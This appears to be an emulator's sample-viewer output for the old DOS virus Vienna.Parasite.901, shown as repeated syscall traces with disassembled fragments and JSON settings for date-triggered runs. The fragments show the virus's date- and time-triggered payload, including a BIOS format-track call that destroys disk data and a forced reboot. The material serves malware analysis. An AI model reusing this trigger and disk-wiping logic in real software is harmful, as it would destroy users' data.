Sample viewer

vx.netlux.org/Virus.DOS.Vienna.Parasite.901

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:42:27.427003598Z 47 PC: 12aa5 | Get disk transfer address
2018-12-17T22:42:27.428359019Z 26 PC: 12a8a | Set disk transfer address
2018-12-17T22:42:27.429448251Z 42 PC: 12ab4 | Get date 0x12ab4: cmp al, 1
0x12ab6: jge 0x12abb
0x12ab8: jmp 0x12b06
0x12aba: nop
0x12abb: cmp al, 1
0x12abd: ja 0x12b06
0x12abf: jmp 0x12ac2
0x12ac1: nop
0x12ac2: mov dl, 2
0x12ac4: mov ah, 5
0x12ac6: mov dh, 0
0x12ac8: mov ch, 0
0x12aca: int 0x13
0x12acc: mov cx, 0x14
0x12acf: push cx
0x12ad0: call 0x12add
0x12ad3: mov cx, 0x4000
0x12ad6: loop 0x12ad6
0x12ad8: pop cx
0x12ad9: loop 0x12acf

{"DateBased":true,"Day":6,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":7550,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:01:50.57475947Z 47 PC: 12aa5 | Get disk transfer address
2018-12-25T12:01:50.57681204Z 26 PC: 12a8a | Set disk transfer address
2018-12-25T12:01:50.577945017Z 42 PC: 12ab4 | Get date 0x12ab4: cmp al, 1
0x12ab6: jge 0x12abb
0x12ab8: jmp 0x12b06
0x12aba: nop
0x12abb: cmp al, 1
0x12abd: ja 0x12b06
0x12abf: jmp 0x12ac2
0x12ac1: nop
0x12ac2: mov dl, 2
0x12ac4: mov ah, 5
0x12ac6: mov dh, 0
0x12ac8: mov ch, 0
0x12aca: int 0x13
0x12acc: mov cx, 0x14
0x12acf: push cx
0x12ad0: call 0x12add
0x12ad3: mov cx, 0x4000
0x12ad6: loop 0x12ad6
0x12ad8: pop cx
0x12ad9: loop 0x12acf
2018-12-25T12:01:50.580061545Z 44 PC: 12b0a | Get time 0x12b0a: and dh, 0xf
0x12b0d: cmp dh, 3
0x12b10: jb 0x12acc
0x12b12: cmp dh, 3
0x12b15: ja 0x12b41
0x12b17: int 0x19
0x12b19: mov ah, 0x47
0x12b1b: xor dl, dl
0x12b1d: add si, 0
0x12b20: nop
0x12b21: int 0x21
0x12b23: jb 0x12b41
0x12b25: mov ah, 0x3b
0x12b27: mov dx, si
0x12b29: add dx, 0x40
0x12b2c: nop
0x12b2d: int 0x21
0x12b2f: mov word ptr [bx + 0x43], di
0x12b32: nop
0x12b33: mov si, bx

{"DateBased":true,"Day":7,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":7550,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:01:50.841911706Z 47 PC: 12aa5 | Get disk transfer address
2018-12-25T12:01:50.843526487Z 26 PC: 12a8a | Set disk transfer address
2018-12-25T12:01:50.845230966Z 42 PC: 12ab4 | Get date 0x12ab4: cmp al, 1
0x12ab6: jge 0x12abb
0x12ab8: jmp 0x12b06
0x12aba: nop
0x12abb: cmp al, 1
0x12abd: ja 0x12b06
0x12abf: jmp 0x12ac2
0x12ac1: nop
0x12ac2: mov dl, 2
0x12ac4: mov ah, 5
0x12ac6: mov dh, 0
0x12ac8: mov ch, 0
0x12aca: int 0x13
0x12acc: mov cx, 0x14
0x12acf: push cx
0x12ad0: call 0x12add
0x12ad3: mov cx, 0x4000
0x12ad6: loop 0x12ad6
0x12ad8: pop cx
0x12ad9: loop 0x12acf

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":7550,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:01:51.164417438Z 47 PC: 12aa5 | Get disk transfer address
2018-12-25T12:01:51.166133595Z 26 PC: 12a8a | Set disk transfer address
2018-12-25T12:01:51.167269965Z 42 PC: 12ab4 | Get date 0x12ab4: cmp al, 1
0x12ab6: jge 0x12abb
0x12ab8: jmp 0x12b06
0x12aba: nop
0x12abb: cmp al, 1
0x12abd: ja 0x12b06
0x12abf: jmp 0x12ac2
0x12ac1: nop
0x12ac2: mov dl, 2
0x12ac4: mov ah, 5
0x12ac6: mov dh, 0
0x12ac8: mov ch, 0
0x12aca: int 0x13
0x12acc: mov cx, 0x14
0x12acf: push cx
0x12ad0: call 0x12add
0x12ad3: mov cx, 0x4000
0x12ad6: loop 0x12ad6
0x12ad8: pop cx
0x12ad9: loop 0x12acf
2018-12-25T12:01:51.169480706Z 44 PC: 12b0a | Get time 0x12b0a: and dh, 0xf
0x12b0d: cmp dh, 3
0x12b10: jb 0x12acc
0x12b12: cmp dh, 3
0x12b15: ja 0x12b41
0x12b17: int 0x19
0x12b19: mov ah, 0x47
0x12b1b: xor dl, dl
0x12b1d: add si, 0
0x12b20: nop
0x12b21: int 0x21
0x12b23: jb 0x12b41
0x12b25: mov ah, 0x3b
0x12b27: mov dx, si
0x12b29: add dx, 0x40
0x12b2c: nop
0x12b2d: int 0x21
0x12b2f: mov word ptr [bx + 0x43], di
0x12b32: nop
0x12b33: mov si, bx